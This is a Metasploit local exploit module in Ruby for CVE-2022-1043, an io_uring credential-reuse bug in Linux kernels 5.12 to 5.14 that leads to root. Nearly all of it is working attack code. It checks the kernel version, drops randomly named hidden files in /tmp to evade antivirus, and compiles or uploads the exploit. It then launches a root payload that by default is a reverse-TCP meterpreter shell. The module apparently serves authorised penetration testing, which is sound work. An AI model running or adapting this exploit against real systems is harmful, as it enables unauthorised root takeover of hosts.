io_uring Same Type Object Reuse Privilege Escalation

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = GreatRanking # https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking  include Msf::Post::Linux::Priv  include Msf::Post::Linux::System  include Msf::Post::Linux::Kernel  include Msf::Post::File  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  include Msf::Post::Linux::Compile  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'io_uring Same Type Object Reuse Priv Esc',        'Description' => %q{          This module exploits a bug in io_uring leading to an additional put_cred()          that can be exploited to hijack credentials of other processes.          We spawn SUID programs to get the free'd cred object reallocated by a          privileged process and abuse them to create a SUID root binary ourselves          that'll pop a shell.          The dangling cred pointer will, however, lead to a kernel panic as soon as          the task terminates and its credentials are destroyed. We therefore detach          from the controlling terminal, block all signals and rest in silence until          the system shuts down and we get killed hard, just to cry in vain, seeing          the kernel collapse.          The bug affected kernels from v5.12-rc3 to v5.14-rc7.          More than 1 CPU is required for exploitation.          Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'Ryota Shiga', # discovery          'Mathias Krause' # original PoC, analysis        ],        'Platform' => [ 'linux' ],        'Arch' => [ ARCH_X86, ARCH_X64 ],        'SessionTypes' => [ 'shell', 'meterpreter' ],        'Targets' => [[ 'Auto', {} ]],        'Privileged' => true,        'References' => [          [ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ],          [ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ],          [ 'URl', 'https://github.com/torvalds/linux/commit/a30f895ad3239f45012e860d4f94c1a388b36d14' ],          [ 'CVE', '2022-1043' ]        ],        'DisclosureDate' => '2022-03-22',        'DefaultOptions' => {          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',          'PrependFork' => true        },        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK]        }      )    )    register_advanced_options [      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])    ]  end  # Simplify pulling the writable directory variable  def base_dir    datastore['WritableDir'].to_s  end  def check    # Check the kernel version to see if its in a vulnerable range    release = kernel_release    if Rex::Version.new(release.split('-').first) > Rex::Version.new('5.14-rc7') ||       Rex::Version.new(release.split('-').first) < Rex::Version.new('5.12-rc3')      vprint_error "Kernel version #{release} is not vulnerable"      return CheckCode::Safe    end    vprint_good "Kernel version #{release} appears to be vulnerable"    # make sure we have enough CPUs. Minimum 2 required    cpu = get_cpu_info    if cpu[:cores] < 2      CheckCode::Safe("> 1 CPU required, detected: #{cpu[:cores]}")    end    CheckCode::Vulnerable("> 1 CPU required, detected: #{cpu[:cores]}")  end  def exploit    # Check if we're already root    if is_root? && !datastore['ForceExploit']      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'    end    # Make sure we can write our exploit and payload to the local system    unless writable? base_dir      fail_with Failure::BadConfig, "#{base_dir} is not writable"    end    # Upload exploit executable, writing to a random name so AV doesn't have too easy a job    executable_name = ".#{rand_text_alphanumeric(5..10)}"    executable_path = "#{base_dir}/#{executable_name}"    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"    if live_compile?      vprint_status 'Live compiling exploit on system...'      code = strip_comments(exploit_source('CVE-2022-1043', 'cve-2022-1043.c'))      upload_and_compile executable_path, code    else      vprint_status 'Dropping pre-compiled exploit on system...'      upload_and_chmodx executable_path, exploit_data('CVE-2022-1043', 'pre_compiled')    end    # Upload payload executable    upload_and_chmodx payload_path, generate_payload_exe    register_files_for_cleanup(payload_path)    register_files_for_cleanup(executable_path)    timeout = 30    print_status 'Launching exploit...'    output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout    output.each_line { |line| vprint_status line.chomp }  endend